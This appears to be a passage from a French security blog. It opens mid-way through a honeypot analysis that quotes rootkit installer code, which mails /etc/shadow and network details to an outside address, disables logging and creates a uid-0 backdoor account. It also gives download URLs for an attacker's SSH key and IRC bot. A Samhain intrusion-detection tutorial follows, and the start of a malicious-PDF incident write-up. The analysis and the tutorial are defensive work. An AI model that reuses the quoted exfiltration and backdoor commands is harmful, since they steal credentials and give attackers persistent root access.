echo "${DCYN}[${WHI}sh${DCYN}]# [System Information...]${RES}"
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-`
echo "${DCYN}[${WHI}sh${DCYN}]# Hostname :${WHI} `hostname -f` ($MYIPADDR)${RES}"
[coupé]

if [ -f /etc/redhat-release ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/redhat-release`${RES}"
elif [ -f /etc/slackware-version ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/slackware-version`${RES}"
elif [ -f /etc/debian_version ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/debian_version`${RES}"
elif [ -f /etc/SuSE-release ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/SuSE-release`${RES}"
elif [ -f /etc/issue ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/issue`${RES}"
else echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} unknown${RES}"
fi
Le setup affiche des informations concernant le système (il devrait peut-être commencer par ça).
rm -rf /tmp/info_tmp
cat /etc/shadow >> /tmp/.cln
/sbin/ifconfig >> /tmp/.cln
cat /etc/issue >> /tmp/.cln
cat /tmp/.cln | mail $md5sum -s "$1:$2:`hostname -f`:$MYIPADDR"
cat /tmp/.cln | mail -s "rk" norocos@canadianbiotech.com
rm -rf /tmp/.cln
Je ne suis pas sûr que le pirate ayant utilisé le rootkit ait fait attention à ça. Peut-être il est partageur ou alors c'est son adresse email (hébergée chez emaileveryone).
endtime=`date +%S`
total=`expr $endtime - $startime`

echo ""
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ipchains ... ? ${RES}"

if [ -f /sbin/ipchains ]; then
  echo "${WHI}`/sbin/ipchains -L input | head -5`${RES}"
else
  echo ""
  echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no ipchains found${RES}"
fi

echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# iptables ...?${RES}"

if [ -f /sbin/iptables ]; then
  echo "${WHI}`/sbin/iptables -L input | head -5`${RES}"
else
  echo ""
  echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no iptables found${RES}"
fi
echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# Just ignore all errors if any ! "
echo "${DCYN}[${WHI}sh${DCYN}]# ============================== ${RED}Backdooring completed in :$total seconds ${RES}"

if [ -f /usr/sbin/syslogd ]; then
  /usr/sbin/syslogd -m 0
else
  /sbin/syslogd -m 0
fi

if [ -f /usr/sbin/inetd ]; then
  killall -HUP inetd >/dev/null 2>&1
elif [ -f /usr/sbin/xinetd ]; then
  killall -HUP xinetd
fi

cd $BASEDIR
rm -rf ../.rc
sendmail root -p norocos@canadianbiotech.com

cd ..
rm -rf .rc rk.jpg
# EOF
Après avoir installé le rootkit, notre intrus affiche le contenu de /etc/passwd puis tente d'ajouter un utilisateur avec l'uid 0 avec la commande suivante :
/usr/sbin/useradd -u 0 -g 0 -o -d "/home/admin" admin 2>&1
Seulement Kippo est assez limité dans ses fonctionnalités et cette commande n'est pas effective. Le pirate tentera de la lancer une nouvelle fois puis abandonnera.

Il va alors télécharger la clé SSH à l'adresse http://unixcrew.t35.com/authorized_keys et la placer dans /root/.ssh.

Le contenu est le suivant :
ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIBCkXfcxijdvoA3Ee0Ea0yhphOLuvm0+KtEWowekUuokh
2w4H72AKniI37DIuPDtgCHbqNAsUsU33SlZE2wrEo4LQaS3KL1z6egwnuT2PIFP5XV5DUb
7Hck9gloyyUBVr0TVxRwPunuLINEUTi/2LAca1IdOeGfN+g7qlDScHLrXw== TheDemon
Pour terminer il télécharge le fichier http://unixcrew.t35.com/poza1.jpg qui est en réalité une archive et la décompresse.
Cela provoque la génération d'un dossier nommé webmail dans lequel il se place et tape la commande "make" alors qu'aucun Makefile n'est présent dans le dossier.
Dans ce dossier on trouve un bot IRC EnergyMech classique configuré pour le pseudo TheDemon sur UnderNet.
Il se déconnectera et ne se reconnectera pas...

Conclusion

On a affaire à un pirate un peu au dessus du niveau pathétique de ceux que l'on a l'habitude d'observer sur ce type de honeypot. Il cherche à couvrir ses traces avec un rootkit et connait la commande useradd. Il se débrouille sous Linux en ligne de commande.
En revanche il fait un piètre hacker : il installe un rootkit, pas tout récent, pour cacher ses traces mais au lieu de se servir des fonctionnalités du logiciel, il créé un nouvel utilisateur sur le système avec UID 0 et créé un dossier non-caché nommé webmail dans le dossier /root. Le mot webmail ne faisant pas parti des dossiers pris en compte par le rootkit.
Il installe aussi un bot EnergyMech alors que le rootkit inclus une backdoor destinée à être invisible... Bref il utilise des outils dont il ignore le fonctionnement et qui ont probablement laissé un accès à l'auteur original du rootkit, par exemple à l'aide du script nommé simplement a lancé discrètement qui créé un utilisateur et envoi un mail à l'adresse que l'on a croisé plusieurs fois...

Initiation au système de détection d'intrusion Samhain

Rédigé par devloop - -

Présentation de Samhain

Samhain est un HIDS multiplateforme pour les systèmes UNIX, Linux et Windows (à travers l'utilisation de Cygwin). Il est sous licence libre GNU GPL.
Il fonctionne essentiellement comme un logiciel de vérification d'intégrité du système en surveillant en permanence les fichiers et en reportant toute modification qui a eu lieu.
Il possède toutefois d'autres fonctionnalités qui en font un outil de détection d'intrusion puissant.

Pourquoi utiliser Samhain plutot que X ou Y ?

L'un des avantages de Samhain est que son développement est toujours actif comparé à ses concurrents dont les dernières versions datent un peu : AIDE (février 2011), Tripwire (mars 2010), Osiris (janvier 2007) et Integrit (juin 2007).
De plus en terme de fonctionnalités, il se place largement au dessus des logiciels précédemment cités (voir plus loin).
Son seul vrai rival semble alors être OSSEC que je n'ai pas eu l'occasion de tester.

Pourquoi cet article ?

Tout d'abord les ressources en français sur ce logiciel manquent cruellement et n'entrent pas dans les détails.
Ensuite, malgré la documentation, un utilisateur novice se retrouve face à des questions auxquelles j'ai tenté de répondre dans le présent article.
Enfin c'est l'occasion de partager un point de vue sur un logiciel gratuit et open-source.

L'installation

La compilation du code source est simple et tout ce qu'il y a de plus classique sous Linux : un fichier configure et un makefile.
Toutefois avant de se lancer dans cette opération, je vous conseille vivement de lire la documentation (manuel, FAQ etc) et de faire le tour des fonctionnalités proposées car de nombreuses options du script configure permettent d'inclure des modules intéressants qui ne sont pas présents par défaut.
Pour voir les options de configuration disponibles, vous pouvez vous rendre sur cette page mais le mieux est probablement de lancer un ./configure --help pour lister la totalité des options disponibles dans la version que vous avez récupéré.

Parmi les options supplémentaires dédiées à la sécurité on notera entre autres la surveillance des programmes SetUID, la possibilité de surveiller les modules kernel (présence de rootkit), l'analyse des fichiers journaux, les vérifications sur les systèmes de fichiers montés, la surveillance des ports ouverts et la détection des processus cachés.
Sous Windows (avec Cygwin) un module permet de surveiller les clés de la base de registre.

Une autre des "killer features" pour les utilisateurs avancés est la possibilité de rendre Samhain furtif. On peut offusquer les données de log, dissimuler le fichier de configuration par stéganographie, renommer facilement les exécutables à la compilation ou utiliser un module kernel pour le cacher complètement au système.

Les administrateurs systèmes ne sont pas en reste avec certaines fonctionnalités comme la possibilité de tout loguer vers une base de données (à la place du fichier journal) ou vers un serveur de journalisation central.
Pour des mesures de sécurité ou parce que vous souhaitez monitorer plusieurs machines, vous pourrez en effet mettre en place le serveur de journalisation Yule qui fait partie du projet Samhain.

Pour aller encore plus loin, on citera également le logiciel Beltane qui est une console de gestion web (en PHP) permettant de surveiller efficacement des machines avec Samhain installé.

Samhain offre aussi un support de l'IDS Prelude, activable là aussi par une option de compilation.

Une fois le logiciel configuré puis installé (make) j'ai mis en place le script d'init par la commande make install-boot.

Configuration utilisée pour cet article

Dans mon cas, j'ai utilisé une configuration très basique : la base de Samhain (surveillance des fichiers) ainsi que la surveillance des ports et des processus.

J'ai tenté la première fois d'activer la surveillance des modules kernel mais j'ai obtenu une erreur de compilation. Comme j'avais des doutes sur mon utilisation de cette option (que se passe t-il quand on met à jour le kernel ou le module nVidia ?), je n'ai pas insisté et l'ai désactivé.

J'ai compilé aussi le support de vérification des fichiers SUID mais d'après la documentation ce module est assez gourmand en ressources. Il est toutefois possible de régler son utilisation du disque par des directives spéciales dans le fichier de configuration.

Je n'ai pas non plus utilisé le serveur de log Yule : la journalisation se fait ici en local dans un fichier de log (par défaut /var/log/samhain_log).

Fonctionnement général de Samhain

En tant que vérificateur d'intégrité du système, Samhain surveille tous les fichiers et dossiers présents sur votre système pour vous alerter des modifications. Pour cela il lui faut bien sûr une base initiale qui lui sert de référence et qui contient les noms des fichiers du système avec leur informations associées (taille, timestamps, propriétaires, permissions, attributs étendus...)

Cette base sous format binaire se situe dans le fichier /var/lib/samhain/samhain_file et est nommée "baseline database" ou encore "on-disk database" dans la documentation de Samhain.

Note : le fichier de configuration et cette base de données peuvent être signées cryptographiquement pour ajouter un niveau de sécurité. Voir l'annexe A3 ainsi que le chapitre 8 de la documentation.

Dès que Samhain détectera une modification par rapport à ce qui est enregistré dans la base, il l'indiquera à travers une ligne dans le journal de log.
Cela peut être l'ajout ou la disparition d'un fichier, un changement de taille, de permissions, une date de modification ou de dernier accès etc.

Première utilisation

Une fois Samhain installé sur la machine, il faut créer la base initiale.
On remplie cette base avec la commande suivante qui va scanner vos disques et mémoriser les caractéristiques de chaque fichier et dossier :
samhain -t init -p info
L'option -t permet de spécifier l'action à entreprendre (ici une initialisation) et l'option -p indique le niveau de verbosité à employer sur la sortie console (stdout).
Nous reviendrons plus tard sur cette notion de verbosité.

Le fichier de configuration

Tous les réglages pour fixer quels fichiers et répertoires surveiller et comment les surveiller ainsi que les réactions à produire en fonction des changements détectés sur le système sont définis dans un fichier de configuration unique : /etc/samhainrc.

Ce fichier de configuration en texte seul a une syntaxe très simple :
Ça se résume à des noms de sections dans lesquels se trouvent des couples clé/valeur séparées par le caractère égal (=).

Une section peut apparaître plusieurs fois. Le fichier de configuration fourni par défaut utilise d'ailleurs cette caractéristique pour regrouper les règles (couples clé/valeur) d'après l'emplacement des fichiers sur le disque.

Les commentaires (qui commencent par le caractères dièse) peuvent être utilisés pour mieux s'y retrouver.

Par exemple on écrira :
# --- règles pour /etc ---
[ReadOnly]
file=/etc/passwd

[Attributes]
file=/etc/mtab

# --- règles pour /var ---
[ReadOnly]
dir=/var/lib
[Attributes]
file=/var/tmp
[LogFiles]
file=/var/run/utmp
qui est plus lisible que :
[ReadOnly]
file=/etc/passwd
dir=/var/lib

[Attributes]
file=/etc/mtab
file = /var/tmp

[LogFiles]
file=/var/run/utmp
Ce sera plus efficace pour retrouver une règle ou trouver où en placer une supplémentaire.

Comme vous avez pu le remarquer, les clés les plus fréquentes sont file (quand il s'agit d'un fichier) et dir (pour un dossier). Quand à la valeur il s'agit du chemin vers la ressource concernée.

Les dossiers sont des cas particuliers car ils peuvent être traitées aussi comme des fichiers (sous Linux, tout est fichier).
Ainsi on peut activer une règle pour le contenu d'un dossier avec une clé dir, et une autre règle pour le dossier en lui même avec la clé file. Ca peut éviter des doublons dans le fichier de log car pour toute modification d'un fichier dans le dossier, le dossier en lui-même est aussi modifié (date de dernière modification)...

Il faut tout de même faire très attention aux règles qu'on emploie : si on ne surveille que le contenu du dossier et pas le dossier lui-même, Samhain risque par exemple de passer outre la détection d'une opération de création aussitôt suivie de suppression d'un même fichier : le contenu du dossier n'aura pas eu l'air de changer mais les propriétés du répertoire on gardé d'une trace de cette activité, il peut être utile de le signaler.

Concernant l'ordre dans lequel les règles sont prises en compte, c'est toujours la règle avec le chemin le plus spécifique (le plus proche du fichier concerné) qui l'emporte. L'ordre des sections n'a aucune importance. Les règles indiquées sous une section sont considérées comme en faisant partie.

Un exemple concret et applicable est présent dans le fichier de configuration par défaut :
[ReadOnly]
## for these files, only access time is ignored
dir = 99/etc

[Attributes]
## check permission and ownership
file = /etc/mtab
Il indique à Samhain de surveiller toute modification (sans les dates de dernier accès, section [ReadOnly]) sur les fichiers se trouvant dans /etc, sauf pour le fichier /etc/mtab dont il faut uniquement surveiller les permissions (section [Attributes]) car ce fichier est généré dynamiquement par le système, inutile de reporter les modifications sur son contenu.
On aurait très bien pu inverser les sections avec leurs clés associées, Samhain aurait appliqué les règles de la même façon.

Un autre point à connaître est le fait que si un dossier est à la fois dans une clé dir et une clé file, c'est la clé file qui prédomine.
S'il y a réellement une incohérence (le même couple clé/valeur dans deux sections différentes par exemple), Samhain générera un message d'erreur et refusera probablement de se lancer.

Les clés file et dir ne sont pas les seules clés disponibles mais sont celles auxquelles vous aurez le plus recourt.
Une page de documentation rassemble tout ce qu'il faut connaître sur la gestion des fichiers par Samhain.

Un chemin de fichier indiqué dans une clé file ou dir sera toujours complet, c'est à dire qu'il débutera par le caractère / indiquant la racine.
Les caractères spéciaux du shell Unix (*, ?, [...]) ainsi que d'autres éléments sont acceptés et permettent par exemple d'appliquer des règles à un groupe de fichier correspondant au même pattern.

Pour les clés dir, le chemin peut être précédé d'un indice de récursion (ou de profondeur) indiquant jusqu'à quel niveau de sous-dossier s'applique la règle.
Cet indice est un entier qui peut aller jusqu'à 99. Par défaut, en l'absence de cette indice, il est à 0, c'est à dire que la règle s'applique à tous les éléments directement dans le dossier mais pas aux sous-dossiers.
Un indice de -1 est un cas particulier qui permet de ne pas surveiller le contenu du dossier, quelque soit le niveau de profondeur.

La documentation de Samhain donne 3 exemples concrets pour illustrer cela :

Exemple 1 : Si vous voulez uniquement surveiller les fichiers dans un dossier mais pas l'inode du dossier lui-même, utilisez :
[ReadOnly]
dir = /u01/oracle/archive00
[IgnoreAll]
file = /u01/oracle/archive00
Exemple 2 : Si vous voulez surveiller un dossier, mais pas son contenu qui change fréquemment :
[Attributes]
file = /var/spool/mqueue
file = /tmp
[IgnoreAll]
dir=-1/var/spool/mqueue
dir=-1/tmp
Exemple 3 : Si vous souhaitez surveiller un dossier (en temps que fichier), tout en vous assurant qu'aucun fichier à l'intérieur ne soit supprimé mais pas les attributs actuels de ces fichiers :
[Attributes]
file = /root
[IgnoreAll]
dir=0/root

Les sections pour gérer les fichiers et dossiers

Maintenant que que nous avons vu les clés dir et file, regardons de plus près les sections disponibles.
L'utilisation de ces règles requiert une bonne connaissance des systèmes de fichiers que vous utilisez.
Je vous invite à ce sujet à consulter la page Wikipedia sur les MAC times (modification/access/change).

La section [ReadOnly] permet comme son nom l'indique de surveiller les fichiers qui ne sont pas sensés changer, si ce n'est leur date de dernier accès.
Sont surveillés : le propriétaire, le groupe, les permissions, le type de fichier, le numéro de périphérique, les hard-links (ou lien matériel), les liens symboliques (soft-links), le numéro d'inode, la somme de contrôle, la taille, la date de dernière modification et la date de changement (ctime).
C'est probablement le paramétrage de surveillance le plus complet que vous utiliserez. C'est très pratique pour les fichiers statiques que l'on trouve dans /etc, /bin, /usr...

La section [IgnoreNone] est encore plus radicale car elle surveille le dernier accès (atime). En revanche elle ne prend pas le compte le temps de changement (ctime).
La documentation propose d'utiliser ce paramètre comme un pot de miel pour pirates : placer sur votre système un fichier au nom alléchant (ex: bank_accounts.xls) et indiquer son chemin dans la section [IgnoreNone] pour remonter toute lecture du fichier leurre.

La section [Attributes] permet comme son nom l'indique de surveiller les changements sur les droits (propriétaire, groupe, permissions), le type de fichier et le numéro de périphérique.
Elle ferme les yeux sur les changements de taille et de date.
On peut par exemple utiliser cette section pour surveiller un fichier de base de données : son contenu va changer en permanence, inutile donc de surveiller les modifications. En revanche un changement de propriétaire ou de droit d'accès (passage en exécutable) est suspicieux.

La section [LogFiles] vérifie les fichiers journaux dont la taille peut varier en grandissant ou en diminuant. Tout est surveillé sauf les dates, la taille du fichier et la signature.

La section [GrowingLogFiles] est identique à la précédente sauf que Samhain s'assure que la taille du fichier ne va pas diminuant.

La section [IgnoreAll] ignore toutes les métadonnées concernant un fichier. Elle ne permet que de s'assurer de la présence du fichier.

La section [PreLink] est utilisée pour les librairies préchargées (voir Prelink sur Wikipedia). Je n'en ai pas personnellement l'utilité.

Les sections [UserX] (X allant de 0 à 4 inclus) sont des sections supplémentaires qui par défaut reportent toute modification.

Les sections spécifiques

Les autres sections permettent de fixer des options sur le fonctionnement de Samhain et de ses modules.

La section [EventSeverity] permet de définir le niveau d'alerte renvoyé pour chaque manquement à une règle donnée. Dans cette section on pourra par exemple placer les lignes suivantes :
SeverityReadOnly=crit
SeverityGrowingLogs=warn
SeverityIgnoreAll=info
Les niveaux d'alerte sont décris au chapitre 4.1.1 de la documentation.

La section [Log] est en lien direct avec la précédente. Elle permet de définir des seuils pour chaque méthode de journalisation.
Si une alerte est levée, elle sera journalisée sur tous les systèmes de log dont le seuil est inférieur ou égal au niveau de l'alerte.
Ainsi si le seuil est défini à "warn", les alertes de niveau "info" ne seront pas logués tandis que les alertes de niveau "warn" et "crit" seront historisées.

Dans cette section on utilisera par exemple des clés/valeurs de cette façon :
MailSeverity=crit
LogSeverity=warn
PrintSeverity=info
Ici les alertes de niveau "info" ou supérieures sont envoyées à la console.
Les alertes de niveau "warn" ou supérieures sont conservées dans un fichier.
Les alertes "crit" ou supérieures feront l'objet d'un email envoyé à l'administrateur.
Dans mon cas j'ai défini PrintSeverity à none. J'utilise généralement X mais en cas de plantage je veux pouvoir utiliser la console (Ctrl+Alt+F1) sans être ennuyé.

La section [PortCheck] permet de vérifier les ports ouverts sur la machine. Il faut l'activer avec PortCheckActive=yes.
Par défaut les ports TCP 0 à 65535 sont scannés à un intervalle de secondes définie par la clé PortCheckInterval.
On peut spécifier les ports qui doivent normalement être ouvert avec la clé PortCheckRequired. Celle-ci prend comme valeur une interface (IP) suivi d'un port (ou d'un service) séparé par un slash avec le protocole. On peut spécifier une liste de port/protocole en les séparant par des virgules.

Exemple (présent dans la documentation) :
PortCheckRequired = 192.168.1.128:22/tcp,25/tcp,80/tcp,portmapper/tcp,portmapper/udp
Le même formatage sera utilisé avec les clés PortCheckOptional, PortCheckIgnore et PortCheckSkip.
La clé PortCheckIgnore spécifie les ports ouverts pour lesquels aucune alerte ne sera relevée. Toutefois le scan sur ces ports à tout de même lieu.
Si vous souhaitez que Samhain ne scanne pas du tout un port donné, il faut avoir recours à PortCheckSkip.

Brièvement :
  • La section [SuidCheck] permet de configurer le module de surveillances des fichiers SetUID. Des clés/valeurs spécifiques sont décrites dans la documentation comme la clé SuidCheckFps qui spécifie le nombre de fichiers à surveiller par secondes.
  • La section [Kernel] permet de gérer le module de détection de rootkits.
  • La section [Utmp] surveille les activités des comptes utilisateurs (connexion/déconnexion).
  • La section [Database] permet de configurer l'utilisation d'une base de données.
  • La section [External] permet d'appeler des scripts et programmes externes.
  • La section [ProcessCheck] cherche des processus cachés.
  • La section [Mounts] vérifie les disques montés.
  • La section [Logmon] est dédiée à la surveillance de fichiers journaux. On peut par exemple lever une alerte si une ligne correspondant à une expression régulière est trouvée dans un journal.
  • Enfin la section [Registry] permet de mettre en place une surveillance du registre Windows.
  • Les clés et valeurs possibles pour ces modules sont indiquées dans la documentation ou à décommenter dans le fichier samhainrc fournit avec le logiciel.

    La section [Misc]

    Cette section offre des options de configuration très utiles. La plus importante étant sans doute la clé "Daemon" indiquant à Samhain s'il doit se lancer ou nom en tant que démon.
    Personnellement je l'ai laissé à "yes" ce qui est probablement plus sûr mais vous pouvez très bien préférer de lancer Samhain en tache crontab avec cette option à "no".

    La clé "SetFileCheckTime" défini l'intervalle de temps (en secondes) entre deux vérifications complètes du système.

    Les clés "SetMailAddress", "SetMailRelay" et "MailSubject" sont comme vous le devinez dédiées à l'envoi d'alertes par email.

    Les clés "IgnoreAdded" et "IgnoreMissing" parlent d'elles même. On peut les utiliser pour les fichiers au nom prédéterminés qui apparaissent temporairement (fichier cache d'une application par exemple)

    Les clés "Redef*" permettent de réécrire le fonctionnement d'une section pour ajouter ou retirer des vérifications par rapport à ce qui est fait par défaut.
    La valeur doit être un ensemble de mots clés précédé d'un signe '+' (ajout) ou d'un '-' (retrait).

    Les mots clés sont :
    CHK (checksum)
    TXT (stocker le contenu du fichier dans la base)
    LNK (lien symbolique)
    HLN (hardlink)
    INO (inode)
    USR (utilisateur propriétaire)
    GRP (groupe)
    MTM (mtime)
    ATM (atime)
    CTM (ctime)
    SIZ (taille du fichier)
    RDEV (numéro de périphérique)
    MOD (file mode)
    PRE (Linux; prelinked binary)
    SGROW (file size is allowed to grow)
    AUDIT (Linux; report who changed the file)
    On écrira par exemple :
    RedefReadOnly = -INO,-USR,-GRP
    Ces réécritures doivent apparaître avant les sections concernées. Il est alors préférable de mettre la section [Misc] en tête de fichier.

    La clé "FileNamesAreUTF8" permet d'indiquer à Samhain s'il risque de croiser des noms de fichiers Unicode. En 2011, je vous conseille de le mettre à "yes". On trouve souvent sur le systèmes des noms de fichiers certificats avec des accents... Sans cette option vous risquez d'obtenir des messages "Weird Filename" dans vos logs.

    Le fichier samhainrc fournit par défaut offre une configuration quasi prête à l'emploi mais il faut par exemple changer les noms de fichiers pour l'adapter aux choix propres à la distribution.
    Par exemple le fichier /var/lib/logrotate/status du samhainrc peut être /var/lib/logrotate.status sur votre système.

    Le fichier de log

    Le fichier journal est par défaut /var/log/samhain_log. Au format texte uniquement, il contient un message par ligne.
    Au début vous passerez beaucoup de temps à analyser vos logs car cela vous permettra de peaufiner votre samhainrc pour définir ce qui est une activité normale et ce qu'il faut surveiller.

    Le format des alertes présentes dans le fichier de log est relativement simple à comprendre. Voici à titre d'exemple une alerte que j'ai relevé dans mon log (coupée pour plus de lisibilité) :
    CRIT   :  [2011-04-29T18:41:19+0200] msg=<POLICY [ReadOnly] ---I-M--T->,
    path=</etc/init.d/postfix>,
    mode_old=<-rw-r--r-->, mode_new=<-rwxr-xr-x>,
    attr_old=<------------>, attr_new=<------------>,
    inode_old=<1290353>, inode_new=<1291538>,
    ctime_old=<[2011-03-18T18:20:09]>, ctime_new=<[2011-04-21T14:28:53]>,
    mtime_old=<[2011-02-23T01:13:10]>, mtime_new=<[2011-03-30T22:52:47]>,
    Ici nous avons une alerte de niveau critique (CRIT) qui a été remontée le 24 avril 2011 à 18h41.
    Le fichier /etc/init.d/postfix qui était marqué ReadOnly a été modifié.

    L'inode a été changé ainsi que les dates et les permissions.
    Derrière la section à laquelle se reporte l'alerte se trouve une suite de caractère avec des tirets.

    Ces caractères indiquent rapidement les points qui font l'objet d'une modification.
    Les caractères sont 'C' pour 'checksum', 'L' pour (soft) 'link', 'D' pour 'device number', 'I' pour 'inode', 'H' pour (le nombre de) 'hardlinks', 'M' pour 'mode', 'U' pour 'user' (propriétaire), 'G' pour 'group', 'T' pour 'time' (tous confondus) et 'S' pour 'size'.

    Voici un récapitulatif sous forme de tableau que j'ai récupéré sur le forum de Samhain :
    |==================================
    |Pos|Ltr| Meaning
    | 0 | C | checksum
    | 1 | L | link (soft)
    | 2 | D | rdev (device number)
    | 3 | I | inode
    | 4 | H | hardlinks (number of)
    | 5 | M | mode
    | 6 | U | user (owner)
    | 7 | G | group (owner)
    | 8 | T | atime, ctime, mtime (any)
    | 9 | S | size
    |==================================
    Dans l'alerte, Samhain nous indique aussi les anciennes valeurs qu'il avait en mémoire pour chaque nouvelle valeur.
    Dans mon cas, cette modification fait suite à une mise à jour de Postfix.
    En dehors du changement évident des dates et de l'inode (le fichier a été écrasé), je l'avais désactivé avant la mise à jour avec chmod -x /etc/init.d/postfix, ce qui n'est pas très propre (j'aurais du utiliser chkconfig à la place).
    La mise à jour a donc remis le flag d'exécution sur le fichier.

    Recharger la configuration

    Si vous avez modifié votre fichier samhainrc, il faut dire au programme qu'il doit recharger le fichier de configuration. Vous pouvez bien sûr le stopper et le relancer mais ce n'est pas très propre (voir plus loin).

    Il est possible de recharger la configuration alors que Samhain est en train de tourner (en démon par exemple). Pour cela il faut lui envoyer le signal SIGHUP.
    Récupérer le PID du programme et lancez la commande kill -s SIGHUP <pid de samhain>.
    En ce qui me concerne cette commande ne fonctionne pas correctement puisque le processus arrête de loguer... mais il semble qu'il s'agisse d'un bogue qui a été depuis corrigé.

    Mettre à jour la base de données (baseline database)

    Lorsque Samhain se lance, il charge le fichier de configuration en mémoire ainsi que le base de référence (/var/lib/samhain/samhain_file).
    Quand ensuite il rencontre une modification, il la reporte dans les logs... mais la base n'est pas mise à jour. C'est à l'administrateur d'effectuer cette mise à jour.

    Cette opération de mise à jour fonctionne de manière très basique : il ne s'agit pas d'un "dump" des modifications reportées par Samhain vers la base mais d'un nouveau scan complet du système pour la mettre à jour.

    Du coup, si vous stoppez puis relancez Samhain sans avoir mis la base à jour, vous aurez une incidence au niveau des logs puisque Samhain va reprendre la base de référence non mise à jour et reporter dans les logs les modifications qu'il avait déjà reporté par le passé. Pour peu que Samhain ait fonctionné longtemps, cela va vous générer des logs considérables.
    Il est donc important d'effectuer une mise à jour de la base avant de relancer le démon ou d'éteindre votre machine ou encore de temps en temps en cas de plantage du système.

    L'opération de mise à jour de la base s'effectue en théorie par la commande samhain -t update.
    Seulement il y a des éléments à prendre en considération :
    • Samhain est très protecteur avec son fichier de log. La commande d'update n'aboutira pas car le démon Samhain a posé un verrou dessus. On peut stopper Samhain, mettre à jour la base puis relancer Samhain mais ce n'est pas la bonne méthode. Il est préférable d'effectuer l'update avec les options -l none -p warn. Ainsi l'update n'écrira pas sur le fichier de log (-l none) mais à la place affichera les messages dans la console (-p warn).
    • en l'absence d'options passées en ligne de commande, Samhain prend pour références les options du fichier de configuration. Si vous lancez l'update et que samhainrc indique qu'il doit se lancer en démon, l'update se lancera aussi en démon. On utilisera alors l'option --foreground pour éviter cela.
    Au final, on peut lancer une mise à jour de la base malgré que Samhain soit en train de tourner en démon avec cette commande :
    samhain -t update -l none -p warn --foreground

    Faire la rotation des logs (logrotate)

    Comme Samhain verrouille le fichier de log, l'opération de rotation ne se fera pas simplement.
    Il faut signaler à Samhain de retirer temporairement son verrou en lui envoyant un signal SIGTTIN.
    Il rend alors l'accès au fichier journal possible pendant un laps de temps de 3 secondes.
    Un script pour réaliser cette opération est fourni dans la documentation.

    La sécurité de Samhain

    L'ensemble du chapitre 11 de la documentation couvre la sécurité de Samhain lui-même, c'est à dire les difficultés qu'aurait un pirate à passer inaperçu et effacer ses traces sur un système sur lequel Samhain est installé.
    Cette sécurité semble vraiment excellente. La seule vrai possibilité pour un pirate serait à mon avis d'exploiter une configuration laxiste de Samhain (par exemple une arborescence de fichier non surveillée dans laquelle le pirate pourrait placer ses binaires).
    Le chapitre 11 donne aussi quelques astuces pour renforcer la sécurité de base.

    Trouver de l'aide

    La documentation officielle, les pages de manuel, les exemples dans le fichier samhainrc sont autant de secours pour votre utilisation de Samhain.
    Si malgré ça vous ne trouvez pas de réponses à vos questions, vous pouvez être aidé sur le forum officiel.

    Mon fichier samhainrc pour openSUSE

    A titre d'annexe vous trouverez mon fichier samhainrc que j'utilise sur ma distribution GNU/Linux openSUSE.

    Sur ce, bonne sécurisation à tous !

    Site officiel du projet Samhain

    Classé dans : Non classé - Mots clés : outils, linux

    Owned : Analyse d'un fichier PDF piégé

    Rédigé par devloop - -

    L'intrusion et son nettoyage

    Récemment j'ai été victime d'une intrusion. Ça s'est passé de la façon la plus inattendue pourtant la méthodologie d'attaque est plus que banale.

    Comme tous les matins je relevais depuis Netvibes des nouveaux flux en rapport avec Linux. J'ai suivi un lien qui m'a amené vers un site que j'avais déjà visité à plusieurs reprises par le passé mais cette fois quelque chose d'anormal s'est passé : le lecteur PDF s'est ouvert sur un fichier PDF vide et en moins d'une minute je me retrouvais avec un scareware sur la machine. Malgré l'interface du logiciel très agréable dans les tons bleu pastel, inutile de vous dire que ce dernier n'était pas le bienvenue.

    Premier réflexe : lancer le gestionnaire de taches, repérer le processus suspicieux (pas compliqué, il se nommait kij.exe) et le terminer. Évidemment ça ne suffit pas, ce genre de logiciel est collant.
    Heureusement je disposais de quelques outils sur la machine : un HijackThis et un ProcessExplorer.

    ProcessExplorer

    Depuis ProcessExplorer je parviens à en savoir plus sur mon ennemi : il s'est placé dans mon dossier "Local Settings\Application data" et d'après netstat a établi des connexions avec un serveur distant.
    Je le termine à nouveau et il réapparait un peu plus tard. Mon premier réflexe est de me dire qu'il a du réussir à s'injecter dans un processus comme explorer. Je tue kij.exe ainsi que explorer.exe.
    Suspense... ça ne reprend pas.
    Je relance explorer.exe : il réapparait ! De plus je remarque un lien entre les deux processus. De mémoire explorer.exe était fils de kij.exe.

    J'ai d'abord pensé à la clé de registre Shell qui permet d'utiliser une interface graphique alternative à celle de Windows (pour utiliser par exemple un BB4Win ou un LiteStep) mais cette clé n'était pas en cause.

    Clé dans le registre Windows

    Finalement, en effectuant une recherche dans la base de registre, j'ai trouvé le point de lancement dans l'arborescence Software\Classes qui associe le lancement d'un exécutable à une extension donnée.

    Notre malware se lançait à chaque lancement d'un .exe, ce qui explique sa réapparition après avoir tué puis relancé explorer.
    Fort de cette information, j'ai pu me débarrasser de l'intrus. Malheureusement je n'ai pas pu récupérer l'exécutable qui a dû se supprimer lui-même. J'ai tout de même conservé le PDF malicieux pour analyse.

    Les causes de l'incident (et comment on aurait pu l'éviter)

    Autant vous le dire tout de suite : je n'étais pas sur mon PC personnel mais sur le PC du travail. L'intrusion n'aurait jamais aboutie sur mon système Linux pour tout un tas de raisons.
    Il y a plusieurs causes et responsables à cette intrusion.

